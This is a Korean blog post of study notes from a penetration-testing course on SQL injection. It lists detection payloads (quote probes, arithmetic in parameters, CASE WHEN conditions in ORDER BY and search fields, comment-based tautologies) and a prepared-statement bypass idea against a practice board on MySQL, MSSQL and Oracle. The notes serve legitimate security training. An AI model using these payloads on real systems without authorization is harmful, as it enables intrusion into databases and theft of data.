모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1
강의주소 : https://www.inflearn.com/course/sql-injection-secure-coding-1/dashboard
MYSQL의 경우
>> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' or writer like '%test'%' or content like '%test'%' order by idx desc' at line 1
검색창에 싱글쿼터 ' 입력시 나타나는 데이터베이스 에러
tt'a'tttt 입력시
>> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'a'tttt%' or writer like '%tt'a'tttt%' or content like '%tt'a'tttt%' order by idx' at line 1
url에
/board/mysql/view.php?idx=2%2b1
( 2 + 1 을 의미 ) 입력시 내용이 제대로 출력되는 취약점
/board/mysql/index.php?sort_column=writer&sort=desc
정상적인 order by 정렬된 url
/board/mysql/index.php?sort_column=a&sort=desc
=> Unknown column 'a' in 'order clause'
/board/mysql/index.php?sort_column=8&sort=desc
=> Unknown column '8' in 'order clause'
1부터 입력하여 컬럼의 개수가 7인것을 확인
/board/mysql/index.php?sort_column=(case%20when%201=1%20then%20idx%20else%20title%20end)&sort=desc
=> (case when 1=1 idx else title end) 조회가 idx 기준으로 되어 취약함 확인
/board/mysql/index.php?sort_column=idx&sort=,1
=> sort에 ,1 입력했는데도 조회가 잘 나오므로 취약함 확인
/board/mysql/index.php?sort_column=&sort=(case%20when%201=2%20then%20idx%20else%20title%20end)
=> sort_column을 null값으로 두고 sort에 case when 사용하여 검증
단, sort_column이 null값이면 idx를 기본으로 정렬하는 예외처리가 되어있을 수 있으므로 진단에 대한 고민이 필요
(1=1 조건일때 기본정렬을 title로 두고 else를 idx로 하는 등 거꾸로 적용하면 될 것 같다)
MSSQL의 경우
싱글쿼터 '
=> Warning: mssql_query() [function.mssql-query]: message: 문자열 ' order by idx desc'의 따옴표가 짝이 맞지 않습니다. (severity 15) in C:\APM_Setup\htdocs\board\mssql\index.php on line 30
' '
=> 공백 삽입시 Warning: mssql_query() [function.mssql-query]: message: '%' 근처의 구문이 잘못되었습니다. (severity 15) in C:\APM_Setup\htdocs\board\mssql\index.php on line 30
MSSQL은 공백을 모르기 때문에 에러가 남
'+'
=> 정상 출력. 이로써 MSSQL이라는 것을 확인 가능.
/board/mssql/view.php?idx=4-1
/board/mssql/view.php?idx=4 and 1=1 --
=> 에러나지 않으므로 공격 가능한 취약점
/board/mssql/index.php?sort_column=(case when 1=1 then idx else title end)&sort=desc
=> 에러없이 진행됨
/board/mssql/index.php?sort_column=(case when 1=2 then idx else title end)&sort=desc
=> Warning: mssql_query() [function.mssql-query]: message: nvarchar 값 'test'을(를) 데이터 형식 int(으)로 변환하지 못했습니다. (severity 16) in C:\APM_Setup\htdocs\board\mssql\index.php on line 30
에러가 나는 이유는 idx는 integer형이고 title은 nvarchar이기 때문. 자료형이 맞지 않으면 에러가 난다. 해당 에러를 기반으로 정보를 얻을 수 있다
ORACLE의 경우' '
=> Warning: oci_execute() [function.oci-execute]: ORA-00933: SQL command not properly ended in C:\APM_Setup\htdocs\board\oracle\index.php on line 31
Warning: oci_fetch_assoc() [function.oci-fetch-assoc]: ORA-24374: define not done before fetch or execute and fetch in C:\APM_Setup\htdocs\board\oracle\index.php on line 74
'+'
=> Warning: oci_fetch_assoc() [function.oci-fetch-assoc]: ORA-01722: invalid number in C:\APM_Setup\htdocs\board\oracle\index.php on line 74
'||'
=> 정상출력. 취약점이 있고 이로써 ORACLE이라는 것을 알 수 있음
/board/oracle/view.php?idx=2||4
/board/oracle/view.php?idx=24
/board/oracle/view.php?idx=24 and 1=1
/board/oracle/view.php?idx=(case when 1=1 then 24 else 25 end)
=> 동일한 내용이 출력됨. 취약함
/board/oracle/index.php?sort_column=(case%20when%201=1%20then%20idx%20else%20title%20end)&sort=desc
=> Warning: oci_execute() [function.oci-execute]: ORA-00932: inconsistent datatypes: expected NUMBER got CHAR in C:\APM_Setup\htdocs\board\oracle\index.php on line 31
Warning: oci_fetch_assoc() [function.oci-fetch-assoc]: ORA-24374: define not done before fetch or execute and fetch in C:\APM_Setup\htdocs\board\oracle\index.php on line 74
MSSQL과 같이 자료형이 일치하지 않아 나타나는 에러
writer와 title로 변경하면 정상작동하여 취약함 확인
취약점 분석 방법론
1) te'||'st와 te'a'st의 결과값이 다를때의 취약함
2) test' and '1'='1 또는 test and 1=1--
test로 끝나는 게시글이 있어야 함 키워드 선정에 주의
test 검색시
test' and '1'='1 검색시
' and 1=1-- 검색시 모든 게시글 출력
' and '1'='1 검색시 아무것도 출력되지 않음
검색이 되지 않은 이유는 잘못된 sql 구문이기 때문
보편적인 검색기능 동작 sql
select * from board where title like '%사용자입력값%';
여기에 test' and '1'='1를 넣어본다
select * from board where title like '%test' and '1'='1%';
test로 끝나는 게시물이 있을경우 참이지만, 뒤쪽의 '1'='1%'은 거짓이므로 and 연산자에 의해 거짓구문이 된다
이것을 고치면 test%' and '1%'='1 로 검색하면 된다
select * from board where title like '%test%' and '1%'='1%';
test 검색결과가 동일함
다음으로 ' and '1'='1를 넣어본다
select * from board where title like '%' and '1'='1%';
title like '%' 은 참이지만 '1'='1%'은 거짓이므로 and 연산자에 의해 거짓구문이 된다
이것을 고치면
select * from board where title like '%' and '1%'='1%';
검색기능에는 보통 와일드카드% 문자가 들어간다는 것을 염두에 두어야 한다
case when 구문을 이용한다면?
'||(case when 1=1 then 'test' else 'aaaaa' end)||'
=> %test%가 되어 정상조회됨 (oracle, mysql 정상. mssql은 ||를 +로 변경해야한다)
컬럼 검색 기능
컬럼의 타입에 따라 문자형, 숫자형 진단을 해야할지 결정
컬럼 부분에는 prepared 적용이 불가능하여 취약할 확률이 높음
burp suite에서 Repeater를 통해 진단하기
search_type에 a를 넣어 send 하면 Response가 떨어진다
select * from board where 'test' like '%test%'
=> 에러가 떨어지지 않는다
=> 명백히 비정상 sql인데 검색결과가 나오면 취약하다는 것. 'test' like '%test%'은 참이므로 모든 게시물이 출력된다.
search_type='te'%2b'st'&keyword=test
=> 정상출력. (%2b로 입력한 이유는 +가 웹자체 표준 예약문자라서 인코딩함. oracle은 ||로 테스트)
잘못된 진단 : search_type=te'%2b'st
싱글쿼터로 감싸주지 않은경우, 구문에러이다
search_type=1=1 and title &keyword=test
=> 조건구문1. 검색이 잘 된다. 취약함.
search_type=(case+when+1=1+then+'test'+else+'abc'+end)&keyword=test
=> 조건구문2. case when 활용. 검색 잘됨 취약함. (oracle, mysql은 +를 공백으로 변경)
Prepared Statement 환경에서의 취약점 점검
1) 문자형, from 절에 들어가는 경우
?tbname=all_tables
=> all_tables는 오라클의 데이터 사전이며 결과값이 나오면 from절에 들어간다고 판단
?tbname=tbname where 1=1
=> 결과값이 나오면 취약하다고 판단. 단, 기존쿼리에 where절이 이미 있다면 에러가 나므로 -- 같은 주석처리를 추가할수도 있다
select * from tbname where id = ?
=> 이렇게 prepared statment가 적용된 파라미터는 injection이 되지 않는다.
select * from tbname where 1=1 -- where id = ?
=> 주석처리해도 prepared statment 셋팅시 에러가 발생. (prepared statment 셋팅하는 코드가 있으므로)
select * from tbname where 1=1 and id=? -- where id = ?
=> prepared statment를 강제로 넣고 주석처리하면 동작하긴 하지만, prepared statment 셋팅하는 파라미터가 여러개라면 시도하기 어렵다
다른방법은 서브쿼리가 존재
select * from (select * from tbname where 1=1) where id = ?
=> 정상동작한다
웹 브라우저로 취약점 분석을 하면 안 되는 이유
요즘에는 서버 리소스를 최대한 부담을 덜기 위해
idx=2 게시물을 처음 로딩하면 ui 껍데기만 불러오고 ajax로 2번 게시물을 불러오는 경우가 있다
idx=3-1 하면 ajax로 3-1 산술연산하여 2번 게시물을 호출한다.
이 때 중요한 것은, 처음으로 호출하는 것이 view1.php일 때 이것은 껍데기이고
두 번째 ajax로 호출하는 것이 view2.php일 때 이것이 데이터베이스와 연결하는 php 파일이라는 것
즉, 웹브라우저에서 진단구문을 넣어봤자 view1.php에 셋팅되므로 취약점이 있어보이지만
view2.php에 진단구문을 넣어 셋팅하면 조회되지 않아(=예외처리됨) 실질적으로 취약점이 없다는 것
burp 도구를 통해 view1.php가 껍데기라는 것을 확인하고
view2.php를 찾아서 올바른 진단을 해야한다
'정보보안 > 모의해킹' 카테고리의 다른 글
모의해킹 강의(SQL Injection Part1) 6 (0) | 2024.10.21 |
---|---|
모의해킹 강의(SQL Injection Part1) 5 (0) | 2024.10.18 |
모의해킹 강의(SQL Injection Part1) 4 (0) | 2024.10.16 |
모의해킹 강의(SQL Injection Part1) 2 (0) | 2024.10.14 |
모의해킹 강의(SQL Injection Part1) 1 (0) | 2024.10.10 |